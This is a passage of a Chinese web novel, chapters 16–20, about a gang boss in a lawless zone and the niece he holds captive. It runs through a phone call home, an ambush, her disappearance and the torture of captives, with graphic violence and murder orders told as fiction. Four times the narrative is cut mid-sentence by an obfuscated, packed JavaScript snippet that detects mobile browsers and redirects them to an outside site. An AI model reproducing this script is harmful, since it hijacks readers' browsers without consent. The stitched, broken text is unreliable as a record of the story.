两人迅速交换了一个眼神,都在对方眼中看到了同样的震惊和茫然。他们立刻意识到失态,飞快地垂下视线。 然而陈寅洛已经收回了手,转身走向停在路边的车,自顾自打开车门坐了进去。 不远处的雷子还举着枪,手指已经从扳机上挪开,却明显有些没回过神。他悄悄凑到严彬身边,声音带着不确定:“彬哥,这几个……真放了?” 严彬扫了他一眼,“放了。” 说完,他没再管雷子的愣神,转身走向驾驶座。 陈知念还呆站在原地,脑子里乱糟糟的,还没有从突如其来的转折中缓过劲。 就在她茫然四顾的时候,轿车后座的车窗缓缓降下来,陈寅洛泠洌的声音再次传来,“还不上车?” —— 回到别墅的时候,艾雅已经在客厅等着了。 看到陈寅洛和陈知念一前一后进来,她的眼眸在陈知念身上停留了半秒,一缕复杂涌现,但很快被她压下。 她迎上前说,“洛哥,陈部长那边已经打点好了,”顿了顿,她有些不忿道:“最近他胃口是越来越大了。” 陈知念换鞋的动作顿住,陈部长?是她知道的那个陈伯伯么。 陈寅洛面无表情地“嗯”了一声,脱下外套,艾雅自然地接过。他松了松领口,走向酒柜给自己倒了杯白兰地,饮了一口才道:“胃口大是好事,能喂饱的人,才好控制。” “可这次,”艾雅秀眉拧起,“我听他的意思,是想借着您的势头,在禁区里插足更多生意。” 陈寅洛没说话,仰头将杯中剩下的白兰地一饮而尽。片刻后才笑了笑,“随他好了,禁区这点地方,随他怎么折腾,左右翻不出什么风浪。” “况且,”他的眼眸凝了凝,“我迟早会离开这的。” 陈部长费尽心思要在禁区扩张,可在陈寅洛眼里,这片地方根本不值得他多费心思,他想要的从来都只有白塔城。 艾雅明白他的意思,眼里的担忧渐渐褪去,取而代之地是灼热的向往。 她可太想去白塔城看看了,看看传说中像天堂一样的地方。传说那里街道一尘不染,阳光永远明媚,空气中飘着甜点与咖啡的香气,人们穿着光鲜,举止优雅,谈论着艺术和哲学,从不需要为下一顿饭或是明天的性命担忧。 传说中,那里的孩子能坐在明亮的教室里读书,而不是像禁区里的孩子一样,为了一口吃的争得头破血流,从小就要学着怎么躲子弹、怎么分辨危险。 那曾是她蜷缩在禁区肮脏巷弄的垃圾堆旁取暖时,怎么也无法想象出的景象,做梦都不敢细想的彼岸。 她是个孤儿。 禁区的孤儿意味着什么?意味着你是最低等的消耗品,是阴沟里自生自灭的老鼠。 她的童年没有甜味,只有饥饿带来的胃部灼烧感、抢夺发霉食物时留下的伤痕、以及冬天刺入骨髓的寒冷。 她挣扎着活一天算一天,像野草一样顽强而又卑微。 她替人跑腿、偷渡小件货物、在最混乱的底层赌场里帮忙捡筹码,只为了半块能果腹的能量棒。她见过太多和她一样、甚至不如她的人,悄无声息地消失在某条暗巷,或者变成一具无人问津的冰冷尸体。 直到遇到陈寅洛。 那不过是一个再寻常不过,弱肉强食的日子。 他只是顺手解决了一点小麻烦,可对她而言却是生死攸关的事。 他看到了她眼中那股强烈的的求生欲,像野火一样燃烧。他给了她两个选择,跟着他,或者继续留在泥潭里等死。 艾雅没有任何犹豫。她抓住了这根唯一伸向她、并且强大无比的绳索,用尽了全身的力气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话一出口,她就恨不得咬掉自己的舌头。他手里明明端着酒。 果然,陈寅洛远远朝她看了一眼,嗤了一声,没答。 陈知念的脸颊火烧火燎。想了很久,最后只能战战兢兢地笨拙讨好:“我……我给您……按、按摩?” 陈寅洛墨黑的眼眸终于再次聚焦在她身上。 “哦?”他的声音有些玩味,“按按看。” 她小心翼翼绕过茶几走到他身后,犹豫了一下将手搭到了他宽阔的肩膀上。 她手法很生疏,只是按照印象里给爷爷按肩的动作,笨拙地捏揉着。她曾看过一些教学视频,可惜力气太小,所以总是不能达到很好的松解效果。 他肩膀上的肌肉硬的像石头,她才按了几下,手指就微微发酸。 “你是没吃饭吗?就你这点力道,给猫儿顺毛都嫌轻。”陈寅洛很不满意。 陈知念指尖一顿,咬咬牙,使出吃奶的劲用力按下去。 但仅仅坚持了不到一分钟,那力道就像被戳破的气球,迅速瘪了下去。渐渐地,就跟猫挠似的,与其说在按摩,不如说在软绵绵的揉蹭。 “陈知念,”他嗓音低沉,“你是在跟我玩调情吗?” 17. 第 17 章 “我没有!” 陈知念下意识反驳,察觉到自己语气太过强硬,立刻软下声音补救道:“对不起,我只是真的没力气了。” 她忐忑地等待着,陈寅洛却没再说什么,也不知道是满意还是不满意,反而闭上了眼睛,似乎默许了她这蹩脚的服务就此敷衍下去。 察觉到他今天似乎格外好说话,陈知念犹豫了几息,手下的动作更卖力了些,指尖用力揉按着他紧绷的肩颈肌肉,试图为接下来的冒险铺垫一点点可怜的功劳。 她深吸一口气,小心翼翼地探出头,“小叔叔,我……可以打个电话给爸爸吗?” 几乎是话音落下的瞬间,她便感觉男人的气息冷了几分。她心头一紧,怕他直接拒绝,甚至因此动怒,赶紧急急地补充,语速飞快: “我保证!我只是报个平安,就让爸爸妈妈知道我还活着,让他们不要担心我……我、我会告诉他们,我在这里……过得很好,我绝对绝对不会说其他的!一个字都不会多说!” 她凑近了些,真挚的眼眸噙着点眼泪,落在他英挺的侧脸,满是恳求,“可以吗?小叔叔。” 太近了。 少女温热的气息毫无阻隔地轻轻喷洒在他颈侧,带着一丝她独有的香甜味。 那味道很难具体形容。像是雨丝初霁,被洗刷得一尘不染的空气里,第一缕破云而出的阳光蒸腾起泥土与青草嫩芽的清新。可细细分辨,尾调里又缠绕着一丝咬破冰镇莓果时,那冰凉果肉瞬间迸发出的清甜果香。 陈寅洛从不认为自己是个有闲情逸致去品鉴他人气味的人。可事实是,他不仅能从各种味道中剥离出她的味道,并且,这个味道还让他感到愉悦。 他垂眸,视线落在她近在咫尺的唇瓣上,那柔软的粉色因为紧张而显得有些干燥,微微翕动,像某种毫无防备的邀请。 “过得很好?” 他极轻的笑了一下。他承认,她这句笨拙又可怜的谎话,再次精准地取悦了他。 做错事,就要受到惩罚。做对了,就该得到奖励。 “可以。” 他终于给出了答案。 陈知念愣了足足两三秒,似乎不敢相信自己的耳朵。随即铺天盖地的狂喜如同海啸般冲散了她的所有紧张和恐惧。 他竟然真的答应了!! 惊喜的光芒点燃了她还噙着泪水的眼睛,仿佛夜空中炸开了最绚烂的烟花。 “真的吗?谢谢!谢谢小叔叔!”她语无伦次地表达者感激,像是收到了世界上最珍贵的礼物。 “嗯。”陈寅洛的声音没什么情绪,“报号码,我来拨。” “谢谢!” 陈知念根本不在乎手机在谁手里,只要她能够再次听到爸爸妈妈的声音,就已经很幸福了。 电话很快被拨通,响了大概五六秒才被接起,陈毅衡喂了一声,声音听起来很是疲惫。 可就这么简单一个字,却让陈知念的情绪瞬间决堤。 “爸爸!” 电话那头的陈毅衡显然被这突如其来的女儿的声音惊到了,停顿了一秒,随即声音猛地拔高:“念念?!是你吗念念?!你在哪里?!你怎么样?!你还好吗?!” 那一连串急切的追问,每一个字都饱含着父亲的担忧和焦虑。 汹涌的泪水模糊了视线,陈知念哭得上气不接下气,所有的坚强在那一刻土崩瓦解。 “爸爸……是我,我是念念,我好想你……我好想你和妈妈。” “念念你别哭,你要坚强,你先告诉我你现在在哪,是不是已经逃出来了?!你等着,爸爸马上派人来接你!” 就在这时,一只骨节分明的手伸了过来,不轻不重地搭在了她的手背上。 陈知念哭声一滞,瞬间清醒过来。她差点忘了打这通电话的真实目的。 她努力让声音不那么颤抖,“爸爸,你别担心我,我……在小叔叔这过得很好,小叔叔他……” 她抬起朦胧的泪眼,看向身旁气场冰冷的男人,他深邃的眼眸正毫无波澜地注视着她,似乎在欣赏她的表演。 “他对我很好,真的……爸爸你别担心了,我会照顾好自己的。” 她深吸一口气,说出最关键的一句话: “不要……再派人来救我,不要再让任何人为我冒险了,他们……的命也很重要。” 这句话她说得异常清晰,异常坚定。 只要一闭上眼睛,她就能看到那些在街头横陈痛苦抽搐的身影,他们也有父母也有家人,他们的亲人也许正在家等着他们回去。她看见还有一个高高瘦瘦的青年,手上还戴着旧手表,说不定是爱人送的礼物。可他们却因为她,永远留在了那个街道,再也回不去了。 那些为她而死的人,她甚至不知道他们的名字,只能在心里一遍遍地说“对不起”。可这三个字太轻了,轻得像羽毛,根本无法弥补他们失去的生命,无法安慰他们的亲人。 没等陈毅衡回答,陈寅洛就直接挂断了电话。 陈知念的视线恋恋不舍地落在已经息屏的手机。她还有好多话想说,她还有好多话没说,她的委屈她的害怕统统都没说出来。 陈寅洛重新端起酒杯,“去放水,我要洗澡。” 陈知念吸了吸鼻子,眨了几下眼睛才憋回眼泪,“……知道了。” —— 迷域酒吧在午后才开始显露它真正的样貌。夜晚的喧嚣和迷离褪去,阳光被厚重的窗帘隔绝在外,消毒水的味道勉强掩盖着昨夜残留的烟酒气息。 陈寅洛坐在最里面卡座的阴影里,长腿交叠,搭在玻璃桌面上。 “怎么回事?” 阿星用脚踹了踹地上躺着的一个青年,满脸恨铁不成钢,“老大,戒了好几回了,还是这副样子。” 陈寅洛视线下移,落在正蜷缩在地上,浑身颤个不停,鼻涕眼泪齐飞的青年。 他双眼瞪得极大,瞳孔却涣散得没有焦点,像是蒙上了一层浑浊的玻璃膜,倒映不出任何东西,眼白布满血丝,鼻腔里不断流下的清涕,糊了满脸。 他的身体时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所以当发现阿胜沾了那玩意儿,他第一反应是怒火冲天,揪着人打了一顿关起来让他戒。第二次发现,他一边骂一边又给了次机会,觉得是自己没看好场子让人钻了空子。 他总想着,再拉一把,再给一次机会,这小子就能爬出来。 他没想到那东西的瘾能这么大,能这么彻底地把一个人从里到外都蛀空。 陈寅洛抽完烟,站起身来,“把底下都给我清干净了,还有他,” 他的眼眸没什么波澜,“送他上路吧。” “老大!”阿星睁大了眼睛,“老大!再给他一次机会吧!” 陈寅洛面无表情看着他,“你难道不知道致幻剂是什么东西?沾上了人也就废了,你看他这个样子,还算是个人么?他现在活着,每一口气都是受罪。你送他上路,是帮他解脱。” 他走近,“阿星,不要心软,它只会让你看起来像个谁都可以捏一把的软柿子,成为一个任人宰割的废物。” 18. 第 18 章 陈寅洛回家的时候已经凌晨,智能感应灯随着他的脚步依次亮起,他随手扯开束缚的领口纽扣,走向沙发。 余光忽然扫过,纯黑的沙发上躺了一团白白的东西,白的实在过分,在一片黑灰的颜色中尤其显眼,让人想不注意都难。 女孩像只被遗弃的小动物,缩在沙发最深的角落里,单薄的身体几乎要陷进那无边的黑色里。细白的长腿蜷缩着,她双手环抱着膝盖,下巴搁在手臂上,脸颊压得微微变形,看上去似乎是很冷。 陈寅洛走过去,站在茶几另一侧,低头看了她一会儿。 她似乎睡的很不安稳,眉头紧紧锁着,眼眶还泛着红,像是哭着哭着就睡着了。 他静静站了会,随即半倚着沙发,点了一根烟。 不知道为什么,他忽然就挺想抽烟的。 他的视线在客厅扫过,本来不过是装饰性的厨房,不知道什么时候摆满了调料,玻璃罐里的盐、糖、辣椒粉,还有几瓶贴着手写标签的酱料,挤在料理台上,堆得满满当当。 楼梯扶手上还晾了几件他的衣服,领口的褶皱被仔细拉平,衣角还滴着水,显然是找不到专门的晾衣区,只能临时挂在这。 他忽然想起,自己穿过的衣服大多是直接扔了,从用不着洗,更没人会费心思把他的旧衬衫洗干净,晾起来。 茶几上不知道什么时候多了一只黄色的小熊,巴掌大小,浑身是用浅黄毛巾缝制的,针脚歪歪扭扭,耳朵还一边高一边低,显然是手工做的,算不上精致,却透着股笨拙的可爱。 小熊的圆眼睛是用黑色纽扣缝的,肚子上还别着一小块粉色碎布,像是特意装饰的“小围巾”。 他呼出一口烟走近,抬手蹭了蹭小熊的耳朵,毛巾材质软乎乎的,触感陌生又有点……碍眼。 就像这个突然充满了生活痕迹的空间一样,碍眼。 一支烟燃尽,捻灭烟蒂,目光重新落回沙发上蜷缩的人。 她似乎更冷了,无意识地又往里缩了缩,双手抱着膝盖蜷得更紧。 陈寅洛这才发现,她好像连张床都没有。 他静默地看了几秒。 随即将自己的外套不怎么温柔地扔在了她身上。 宽大的外套瞬间将她整个笼罩,她含糊地咕哝了一声,却下意识抓住了外套,往自己怀里卷了卷,把半张脸都埋了进去,只露出凌乱的发顶。 陈寅洛直起身,心里莫名浮起一股燥意,那种不可控的感觉又来了。 一切都很陌生,很混乱,很……不符合他的规矩。 但他发现,自己似乎并没有预想中那么强烈想要立刻将一切恢复原状。 这个认知让他紧蹙了眉,是因为依赖吗?因为她可以抑制自己躁动的情绪,所以对她格外宽容吗? 他捏了捏指节,又一次点燃了烟,尼古丁被深深吸入肺里,那辛辣刺激的感觉,短暂地压下了心头那点莫名的躁意。 烟雾缭绕中,他冷硬的轮廓让人看不清。 但很快,烟被他掐灭。 他错了,他还是厌恶任何形式的软肋和牵绊。 他一步步走近沙发,俯下身来,修长的指尖抚上了她脆弱的脖子。 指尖下的皮肤温热、细腻,脉搏在他指腹下规律地、脆弱地跳动着。生命的搏动如此鲜明,又如此轻易就能被扼断。 就像十年前一样,只要稍稍一用力,就能彻底清除掉这个能干扰他情绪的小麻烦。 他的指尖微微收紧了几分。 睡梦中的陈知念呼吸骤然一窒,眉头痛苦地拧紧,眼睫颤抖如蝶翼,仿佛下一秒就要从噩梦中惊醒。 只需要一分钟,不,只需要十几秒,就没有什么东西可以再左右他的情绪了。 只要再用一点力,那规律的脉搏就会瞬间紊乱,然后彻底消失。 睡梦中的陈知念似乎更难受了,她不安地扭动着脑袋,垂落的发丝扫过他的手背,像小猫的爪子,轻轻挠了一下。 就是这一下,让他指尖的力道骤然消散了。 力道退去的瞬间,陈寅洛自己都愣了。 他往后撤了撤手,指尖悬在半空中,像碰到了什么烫手的东西。 他盯着自己刚刚碰触过她脖颈的手指,又看向她因为呼吸重新顺畅而稍稍舒展的眉头。 “疯了。”陈寅洛低声骂了一句。 最终,他粗暴地扯过滑落一角的外套,重新将她裹紧,然后大步离开,再也没回头。 —— 第二天陈寅洛下楼的时候,厨房已经又开始哐哐当当响了。 他停在楼梯最后几阶,没有再靠近,远远看去。 陈知念系着那件宽大的围裙,围裙带子在背后打了个歪歪扭扭的结,正踮着脚够橱柜上的调料瓶。手里的玻璃罐没拿稳,“当啷”一声撞在旁边的盐罐上,吓得她赶紧扶住两个瓶子,吐了吐舌头。 灶台上的锅里冒着热气,传来“咕嘟咕嘟”的声响,应该是在煮什么东西。 拿好调料,她转身去揭锅盖,蒸汽呼地涌出来,她下意识往后躲,手肘不小心碰到了旁边的盘子,又是一阵“噼里啪啦”的轻响。 “哎呀!”陈知念突然低呼一声,原来是锅里的汤溅了出来,烫到了她的手,她赶紧缩回手,对着指尖吹了吹。 楼梯上的陈寅洛,目光淡漠地看着这一连串笨拙又忙乱的景象,看着她像个不小心闯入成人世界的孩子,在这本不属于她的领地里,制造着各种细小却生动的噪音和混乱。 他面无表情地走下楼梯。 陈知念听到声响,飞快回头。也许是前两天那通电话给她带来了短暂的安慰,所以她眼眸里有了几分神采,不像往日那般死气沉沉。 “小叔叔,”她下意识站直了些,手指紧张地捏着围裙边缘,声音又轻又软,带着明显的讨好。 “饭、饭马上就好了……您……再稍微等等好吗?” 陈寅洛目不斜视,大步朝门外走,“不吃。” “不吃么……”陈知念耷拉着脑袋,“好,我知道了。” 她失落地转身,准备退回厨房。 可就在陈寅洛走出门口,门即将关上的时候,她像是鼓起了极大的勇气,猛地追了上去,扒在门框边,探出一颗小小的脑袋,手不安地扣着门框。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272542|182378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小叔叔,请问……我今天可以出门走走么?就一会儿,就在附近……” 陈寅洛的脚步终于停下。 他微微侧身,视线垂落下来,“陈知念,我没有限制过你。” 顿了顿,他又说,“但你最好是别一个人乱走,禁区可不是什么遵纪守法的地方,像你这种——”他的目光在她纤细的脖颈扫过,“浑身上下写着‘我很好欺负’几个字的小白兔,扔进狼群里,连骨头都不会剩下。” 冷冷丢下这句话,他便大步流星离开了。 他走后,陈知念并没有被他的话吓退。她知道禁区危险,可比起外面未知的危险,她更怕在这座牢笼里被慢慢驯化,怕自己会习惯甚至依赖这种扭曲的安全,最终忘记白塔城的阳光,忘记还在等待着她的爸爸妈妈。 那比被狼群撕碎,更让她感到恐惧。 她走回客厅,默默把做好的饭菜全部一口口吃掉,然后洗碗,坐在沙发上发呆。 也不知道持续了多久,大门传来声响,陈知念条件反射地站起来,看到进来的人是艾雅,眼眸倏地亮起。 “艾雅姐姐!”她小跑走近。 艾雅正准备换鞋,看到她眼眸里异于往常的光亮,愣了愣,“怎么了?” 她注意到陈知念的表情,是紧张混着期盼的姿态。 “姐姐,请问你今天有空么?”陈知念小声道,“如果有时间的话……可以带我出去转转么?” 这句话说完,她立刻微微低下头,却又忍不住抬起眼睫,紧张地观察着艾雅的反应。 她知道这个请求很冒昧,也清楚自己不该麻烦别人。可她也知道,她一个人走出去是不现实的,而且在她所能接触到的有限人里,艾雅是唯一一个有可能对她释放出些许善意的人。 艾雅停下动作,女孩颤抖的眼睫像一只渴求放风的小动物。 “抱歉,没有洛哥的允许,我不能带你出去。” “他、小叔叔他允许我出去了!”陈知念急切地走近两步,“真的,我今天早上问过他了,他说……他说可以的。” 她努力让自己的语气听起来确信无疑,甚至试图挤出一个‘你看,我没骗你’的笑容。 艾雅沉默地看了她几秒,她相信她没有说谎。 在女孩期盼的目光下,她终于点点头,“那行,一会我正好要出去一趟,你跟我一块吧。” 这句话像颗定心丸,让陈知念瞬间松了口气,她赶紧点头,“谢谢姐姐!” 没等多久,艾雅就从书房拿了个黑色文件袋出来,拉链拉得严实,看不出里面装着什么。她朝着门口抬了抬下巴:“走吧。” 艾雅开着一辆黑色的越野车,陈知念忐忑地坐在副驾。车子朝着别墅大门开去,离门口越近,陈知念的心跳就越快。 门口的两个持枪大汉看到车子,立刻抬手示意停车,目光锐利地扫过来,当视线落在副驾的陈知念身上时,那目光顿了顿。 艾雅降下车窗,“洛哥同意的。” 持枪大汉这才抬手示意,大门滑开,车子平稳地开了出去。 好在她还是顺利出来了。 19. 第 19 章 她出来了! 阳光透过车窗洒在她脸上,带着久违的暖意。窗外是嘈杂的喇叭声、飞扬的尘土、风格粗犷的店铺招牌和面貌各异的人群。 她贪婪地呼吸着窗外自由的空气,心脏因为兴奋和后怕而剧烈地跳动着。 艾雅在一栋稍显破旧的房子前熄了火,拿上文件袋边下车边说:“跟紧我,别乱走。” 陈知念立刻点头,紧紧跟在艾雅身后,像个小尾巴。 楼道里光线昏暗,弥漫着一股潮湿和陈旧的气味。艾雅熟门熟路地敲开一扇铁门,和一个面容精悍的男人低声交谈了几句,将文件袋递过去,又接过另一个薄薄的信封塞进口袋。整个过程很快,不超过五分钟,双方几乎没有多余的交流。 两人很快又坐回车内,艾雅发动车子,驶离这片区域。 然而,就在车子拐进一条相对僻静,两侧堆着废弃集装箱的小巷时,砰!砰!两声突兀的枪声同时爆发,轮胎被精准击穿,车头猛地一沉。 紧接着,从旁边的岔路口猛地冲出几辆破旧的摩托车,车上的人戴着遮脸的面罩,手里持着枪。 “趴下!”艾雅反应快的惊人,几乎在对方出现的一霎那,就弯下身子从车底座摸出了一把冲锋枪。 陈知念吓得魂飞魄散,本能地抱着头缩在副驾驶的角落里,瑟瑟发抖。 耳边被各种恐怖声响吞噬,子弹狂风骤雨般倾泻在车身上,防弹玻璃瞬间布满蛛网裂痕,但暂时未被击穿。 “操!”艾雅低骂一声,眼神瞬间变得冰冷狠戾。 她没有丝毫犹豫,瞅准一个空隙,猛地降下车窗,对着最近的一个摩托车手直接扣动扳机! “哒哒哒!” 声音在狭小的巷子里震耳欲聋,摩托车后座的人应声倒下。 艾雅一边敏捷地低头躲避,一边按下车里的通讯器,“我在勐勘被袭击了,立刻派人来!” 说完她挂断,利用防弹车体的短暂庇护,再次探出头扫了一梭子,对面很快传来人体倒地的声音。 趁着换弹匣的功夫,她猛地侧过头,对蜷缩在脚下瑟瑟发抖、几乎要晕厥过去的陈知念急吼道:“别他妈抖了!听着!等我数到三,你打开你那边的车门,立刻滚下去!沿着巷子拼命往外跑!别回头!跑到大路上找人多的地方躲起来!听懂了吗?!” “不……我害怕……艾雅姐姐……”陈知念根本就没办法做出任何决定,她实在太害怕了。 “想活命就快滚,你呆在这我还得分心照顾你!”艾雅咆哮着,又探身出去扫了几枪,然后厉声开始倒数。 “三!” “二!” “一!走!” “走”字出口的瞬间,艾雅一脚踹开了陈知念那一侧的车门,同时,她手中的冲锋枪火力全开,疯狂地向对方扫射。 陈知念连滚带爬地跌出车外,膝盖好像磨破了,钻心地疼。还没等她缓过劲,耳边就传来砰地一声,一颗子弹擦着她的胳膊飞过,打在旁边的集装箱上。 她的大脑一片空白,只凭着求生的本能迅速爬起来,朝着巷子口的方向,拼尽全力地奔跑。 她的肺叶像要炸开一样疼,心脏狂跳得几乎要冲破胸腔。她不敢回头,只能拼了命地朝前跑,脚下的帆布鞋踩在碎石上,好几次差点滑倒。 枪声渐渐远了些,可她还是不敢停。突然,她的脚踝被一块凸起的钢板绊了一下,整个人往前扑去,手掌重重地擦在地上,刮出一道道血痕。 她咬着牙,眼泪混着汗水往下掉,却还是竭力撑起身子,继续往前跑。 就在这时,身后忽然传来急促的脚步声,“跑的那个在这儿!” 完了! 陈知念的心一下停止了跳动,一股寒意从脚底升起,一窜就到了头顶,全身的血液如同沸腾了一般,猛地向四肢狂窜。 她一秒未停,两条腿不知疲倦地跑着,可身后的脚步声越来越近,粗重的喘息声几乎喷到了她的后颈。 就在身后那人狞笑了一下,即将抓住她头发时,巷口突然传来一阵尖锐的刹车声,一辆黑色的重型皮卡野蛮地撞开巷口堆放的杂物,轰然冲了进来。 车甚至还没停稳,站在车上的大汉就已经端起了枪,“趴下!” 陈知念根本来不及思考,也看不清来的是谁,求生的本能已经接管了一切。吼声落下的瞬间,整个人就直直往前扑倒,脸颊紧贴着粗糙的地面。 紧接着,头顶上方传来哒哒哒的枪声,她身后追来的男人连惨叫都来不及发出,就已经被打成了筛子。 很快,她听到皮卡车上人下车的声音,急促的脚步声踏过碎石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277592|182378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,径直来到了她跟前,停下。 陈知念条件反射地蜷起身体,控制不住地剧烈颤抖着,以为下一颗子弹就会落在自己身上。 直到听到一个焦急的男声劈头问道:“艾雅呢?!” 听到艾雅的名字,她才抬起头,急促地呼吸了几下,带着哭腔指向来时的方向,“还、还在里面!巷子里面!车那边!他们有好多人……有枪……” 听到这,男人没有任何犹豫,猛地直起身,对身后迅速集结过来的人打了几个手势,一行人快速地朝里行动着。 走之前他低头看向陈知念,语气又快又硬:“自个到车上锁好门躲着!别乱跑!” 吼完,他根本不等陈知念回应,立刻转身,端着枪,消失在巷道中。 一行人很快就到了交火点,男人一个战术手势,身后几人立刻依托集装箱作为掩体,手中枪口火舌喷出。 火力压制下,男人迅速带着两人突进艾雅车旁。 艾雅半截身子瘫在车外,背靠着车门,脸色惨白如纸,额头上全是冷汗。 她左肩处的衣物已被鲜血彻底浸透,狰狞的伤口赫然可见。当听到脚步声逼近时,她迅速端起手里紧握的手枪对着来人。 “艾雅!是我们!” 听到熟悉的声音,艾雅眼中紧绷的警惕才猛地松懈下去,“……真他妈……慢。” “别说话!撑住!”男人蹲下身,快速检查起她的伤口。 子弹应该是击穿了肩胛骨附近,出血量很大。 他立刻从随身急救包里掏出止血带和加压绷带,手法娴熟地进行着紧急处理,“妈的……这群杂碎……” “是……是四眼明的人。”艾雅忍着剧痛,从牙缝里挤出几个字。 “行了,你别说话了!”男人对着通讯器低吼:“医疗组!准备接应!重伤!急需输血!我们五分钟后到!” 他话音刚落,身后的零星枪声戛然而止。 一人快步从后方追上来,“清理干净了。还剩四个喘气的,怎么处理?” “带回去!” “明白!” 男人抱着艾雅,其他人则粗暴地拖拽起剩下的活口,迅速向巷口转移。 然而到了巷口,车还停在那,可车里却没有一个人。 陈知念,不见了。 20. 第 20 章 “人呢?” 陈寅洛仰靠在沙发上,双腿交叠,一只手搭在沙发靠背顶端,把玩着火机。 他问得轻描淡写,甚至连视线都只是淡淡地落在大气不敢出的男人身上。 可整个房间的气压,却因这两个字,在瞬间落到了冰点。 之前带队营救艾雅的男人——古波此时深低着头,脖颈后的肌肉紧绷着,后槽牙咬了又咬。 “对不起洛哥,是我们疏忽。我们在附近搜了一圈,没……没找到陈小姐的任何踪迹。” 承受着上方如岳般的压力,他硬着头皮说出最坏的猜测,“我怀疑,应该是有人趁乱把陈小姐劫走了。” “怀疑?”陈寅洛淡淡抬眼,指间一直把玩着的金属打火机“咔嗒”一声脆响,盖上了盖子。 “时间已经过去了整整两个小时,你他妈还在给我说怀疑?” 古波额角的冷汗瞬间就下来了,汇聚成珠,沿着脸颊滑落,他却不敢去擦。 “洛哥,我……我们正在全力追查,所有出口都安排了人盘查,那附近所有的监控都在调……” “我不要听过程。”陈寅洛冷冷打断,“我只要结果。一个监控查这么久,我看你们是安逸的太久了。” 古波头皮发麻,腿一软,差点要站不稳。安逸的太久,怎么听都渗着寒意。 陈寅洛微微前倾身体,手肘撑在膝盖上,“那几个活口呢?把他们带过来。” 古波松了一口气,“是。” 古波转身出去的瞬间,雷子和严彬也走了进来。 雷子上前一步,“洛哥,艾雅的情况已经稳定下来了。子弹取出来了,失血过多,但没伤到主要神经和动脉。医生仔细检查过了,说好好休养,应该不会留下后遗症。” “好。”陈寅洛指尖的火机再次打开,火舌吞噬着烟草,燃起袅袅烟雾。 他深深吸了一口,才面无表情地缓缓吐出:“四眼明真是阴魂不散,人都凉透了,还有不知死活的东西上赶着向他表忠心。” 雷子眉头紧缩,“洛哥,我去看过现场了,那帮杂碎用的家伙,不像是四眼明手下那帮散兵游勇能搞到的。火力太猛,配合也刁钻,像是受过正经训练的。” 严彬扶了扶镜框,镜片后的目光冷静分析着,“不像是一时兴起的报复,更像是有预谋的突击。” “所以说,是有人借着四眼明的由头,浑水摸鱼。” 陈寅洛轻声嗤笑,“看来是最近太平静,有人觉得我陈寅洛太仁慈了,谁都想来踩上两脚。” “去,把四眼明和高佬的烂摊子彻底清扫干净。他们的妻儿老小,包括他们手底下所有人……” “一个不留。” 最后四个字,他说的极其平静,听不出半点血雨腥风。 雷子领命出去,书房里只剩下陈寅洛和严彬。 陈寅洛的目光转向严彬,“去查,掘地三尺,也要把藏在后面搞鬼的那只手给我揪出来。” 他微微前倾,“我要他活着站到我面前。” “是,洛哥。”严彬点头,转身便离开了。 陈寅洛坐在沙发上,一支烟刚抽完。先前离开的那人已经回来了,手里拖着四个浑身是伤的人。 人被狠狠摔在地上,伤处受到刺激,发出一声声惨叫。 陈寅洛视线垂落,看着地上哀嚎的人,目光没有一丝温度,“说,谁指使你们的。” “没人指使!”其中一个短发男人猛地抬头,牙关咬出血来,“我们是给老大报仇!” “还有力气嘴硬。”陈寅洛淡淡道。 底下的人窥见他的神色,当即上前,照着那短发男人的胸腹便重重踹了下去。闷响声中,男人痛苦的哀嚎顿时在四下里回荡开来。 陈寅洛的指节在膝盖敲了敲,“你们没吃饭么?还是在这玩过家家?” 听到这话,本来只是用脚踹的动作立刻停了。有人从旁边抡起一根钢管,钢管精准地夯在短发男子的下颌上。一声凄厉的惨叫后,男人嘴里、鼻腔里全是血,鼻骨直接凹了进去,他猛地呛咳起来,几颗碎牙直接掉在了地面。 陈寅洛这才闲适地向后一靠,手肘撑在扶手上,指节支着下巴。他歪着头冷眼瞥着地下,“告诉我,人被你们藏哪了?” 一旁的其他男子早已面无人色,有人下意识地别开脸,喉结恐惧地上下滚动,有人双腿微颤,几乎站立不住。 “什……什么人,我不知道……” “一个女孩。”他说的不急不缓,“别告诉我你们不知道,我不想听。” 剩下的几人面面相觑,“大、大哥,我们、我们真的不知道啊!我们就是抓那个叫艾雅的……别的,别的什么女孩,我们听、听都没听过!” 陈寅洛轻轻挥挥手,手下人立即又拎起了钢管,这一下直接打在短发男人的膝盖上,咔嚓一声,男人的腿部关节直接粉碎,以一种扭曲的姿势弯曲着。 